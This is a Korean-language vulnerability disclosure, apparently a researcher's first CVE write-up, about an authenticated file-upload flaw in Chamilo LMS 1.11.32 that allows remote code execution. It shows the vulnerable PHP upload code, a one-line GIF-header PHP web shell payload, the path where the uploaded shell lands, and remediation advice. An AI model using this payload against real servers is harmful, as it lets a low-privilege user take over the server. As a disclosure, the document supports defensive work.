
안녕하세요, 저는 K입니다. 이것은 제 첫 CVE로, 원격 코드 실행(RCE) 취약점입니다. 보안 연구원으로서의 제 여정의 시작입니다.
| 필드 | 세부 정보 |
|---|
| 제품 | Chamilo LMS |
| 버전 | 1.11.32 (확인됨) |
| 취약점 | 위험한 유형의 무제한 파일 업로드 (CWE-434) |
| 영향 | 인증된 원격 코드 실행 (RCE) |
| CVSS v3.1 | 8.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 인증 필요 | ✅ 예 — 학생 역할 (낮은 권한) |
| CWE | CWE-434: 위험한 유형의 무제한 파일 업로드 |
| 발견자 | MENG HOKSENG |
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]
취약한 파일: main/inc/ajax/document.ajax.php
취약한 함수: ck_uploadimage
업로드 핸들러는 PHP의 mime_content_type() 함수를 사용하여 MIME 유형 검증만 수행합니다. 이 함수는 파일 확장자가 아닌 파일의 매직 바이트(콘텐츠의 처음 몇 바이트)를 검사합니다.
// 취약한 검증 로직 (단순화됨)
$mime = mime_content_type($_FILES['upload']['tmp_name']);
if (!mimeAccepted($mime, ['image'])) {
die("Invalid file type");
}
// ❌ 확장자 검증 없음
// ❌ 파일명 정화(sanitization) 없음
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);
두 가지 개별적인 약점이 결합되어 완전한 공격 체인을 구성합니다:
GIF89a)를 추가하여 우회.php 확장자를 포함한 파일명으로 웹에서 접근 가능한 디렉터리에 파일을 저장악성 파일은 다음과 같이 제작됩니다:
GIF89a;<?php system($_GET['cmd']); ?>
mime_content_type()이 GIF89a를 읽음 → image/gif로 분류 → 검증 통과move_uploaded_file()이 /app/upload/users/<id>/에 shell.php로 저장 → 브라우저를 통해 직접 실행 가능학생으로 로그인하여 파일 업로드를 자동으로 수행하는 전체 익스플로잇 실행
Python 전체 익스플로잇 실행 후, 업로드된 웹 셸을 http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id 에서 찾을 수 있습니다.

이 취약점을 성공적으로 악용하면 학생 수준 계정에서 서버 전체를 장악할 수 있습니다:
CIA 영향: 기밀성, 무결성, 가용성의 완전한 손실.
▪ 엄격한 파일 확장자 허용 목록 적용 명시적으로 허용된 이미지 파일 확장자(예: .jpg, .png, .gif)만 허용해야 합니다. .php, .phtml, .phar와 같은 실행 가능한 확장자를 가진 업로드 파일은 MIME 유형과 관계없이 거부되어야 합니다.
▪ MIME 유형 검증에만 의존하지 않기 mime_content_type()과 같은 함수를 사용한 MIME 유형 검사는 기본 보안 통제로 사용해서는 안 됩니다. 조작된 파일 헤더로 우회할 수 있기 때문입니다. MIME 검증은 보조 검사로만 사용해야 합니다.
▪ 업로드된 파일을 웹에서 접근 가능한 디렉터리 외부에 저장 업로드된 콘텐츠는 웹 서버를 통해 직접 접근할 수 없는 디렉터리에 저장해야 합니다. 공개 접근이 필요한 경우, 직접 접근 대신 통제된 핸들러를 통해 파일을 제공해야 합니다.
MENG HOKSENG
독립 보안 연구원
이 프로젝트는 교육 및 승인된 보안 연구 목적으로만 공개되었습니다. 작성자는 이 익스플로잇으로 인한 오용이나 피해에 대해 책임을 지지 않습니다. 보안 평가를 수행하기 전에 항상 명시적인 서면 승인을 받으십시오.